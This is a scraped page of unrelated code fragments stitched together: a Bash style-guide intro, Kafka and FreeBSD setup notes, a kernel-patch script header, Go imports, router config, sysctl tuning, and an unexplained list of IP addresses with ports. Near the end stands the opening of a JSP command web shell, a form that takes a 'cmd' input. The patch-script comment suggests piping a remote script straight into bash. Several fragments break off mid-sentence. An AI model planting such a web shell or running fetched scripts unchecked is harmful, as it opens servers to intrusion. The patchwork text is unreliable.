ziplex

progrium/bashstyle

Bash is the JavaScript of systems programming. Although in some cases it's better to use a systems language like C or Go, Bash is an ideal systems language for smaller POSIX-oriented or command line tasks. Here's three quick reasons why:

It's everywhere. Like JavaScript for the web, Bash is already there ready for systems programming.
It's neutral. Unlike Ruby, Python, JavaScript, or PHP, Bash offends equally across all communities. ;)
It's made to be glue. Write complex parts in C or Go (or whatever!), and glue them together with Bash.

This document is how I write Bash and how I'd like collaborators to write Bash with me in my open source projects. It's based on a lot of experience and time collecting best practices. Most of them come from these two articles, but here integrated, slightly modified, and focusing on the most bang for buck items. Plus some ne

Cloud-Init Support

Cloud-Init is the defacto multi-distribution package that handles early initialization of a virtual machine instance. Using Cloud-Init, one can configure network

	cd /opt
	wget http://apache-mirror.rbc.ru/pub/apache/kafka/0.10.1.0/kafka_2.11-0.10.1.0.tgz
	tar xvzf kafka_2.11-0.10.1.0.tgz
	ln -s kafka_2.11-0.10.1.0/ kafka


	vi /etc/systemd/system/kafka-zookeeper.service
	[Unit]
	Description=Apache Zookeeper server (Kafka)
	Documentation=http://zookeeper.apache.org

	#! /bin/bash
	#
	# Lenovo Legion 5 Patch Utility
	#
	# This script aims to simplify the application of various patches required for Lenovo Legion 5 15ARH05.
	# For convenience you can run this script with `bash <(curl https://gist.githubusercontent.com/jbuncle/7dacde983b3c33b3b816b10e2fd2308a/raw/build-patched-kernel.sh)`
	#
	# References:
	# - Original bug and related patch: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1887190
	# - Touchpad patch file: https://www.spinics.net/lists/linux-input/msg69458.html

	package main

	import (
	"bytes"
	"flag"
	"image"
	"image/color"
	"image/draw"
	"image/jpeg"
	"log"

	# Booting from: FreeBSD-12.1-RELEASE-amd64-disc1.iso
	# SHA256: aa9d34b458826486999ed3e872436b6712ae38cede5ea41de4ab923e3419d461

	# We will set up a VERY simple test install
	# This will have a ZFS mirror (2x16GB disks)
	# There will be NO SWAP

	# Install
	# Set keyboard to UK
	# Hostname: geli

	129.24.51.99 21320
	24.158.231.6 80
	54.161.139.184 5555
	46.38.166.124 80
	192.121.107.107 80
	177.91.192.116 8080
	1.0.138.14 8080
	107.150.29.157 3128
	98.145.71.245 21320
	68.195.17.204 21320

	redistribute connected metric 1 route-map filter_connected_routes
	redistribute static metric 1
	redistribute kernel metric 1

	route-map filter_connected_routes permit 10
	match ip address filter_connected_routes

	access-list filter_connected_routes deny <network>
	access-list filter_connected_routes permit any

	<%@ page import="java.util.,java.io."%>
	<%
	%>
	<HTML><BODY>
	Commands with JSP
	<FORM METHOD="GET" NAME="myform" ACTION="">
	<INPUT TYPE="text" NAME="cmd">
	<INPUT TYPE="submit" VALUE="Send">
	</FORM>
	<pre>

	###
	# Proxmox or other server kernel params cheap tune and secure.
	# Try it if you have heavy load on server - network or memory / disk.
	# No harm assumed but keep your eyes open.
	#
	# @updated: 2020-02-06 - more params used, adjust some params values, more comments on params
	#

	### NETWORK ###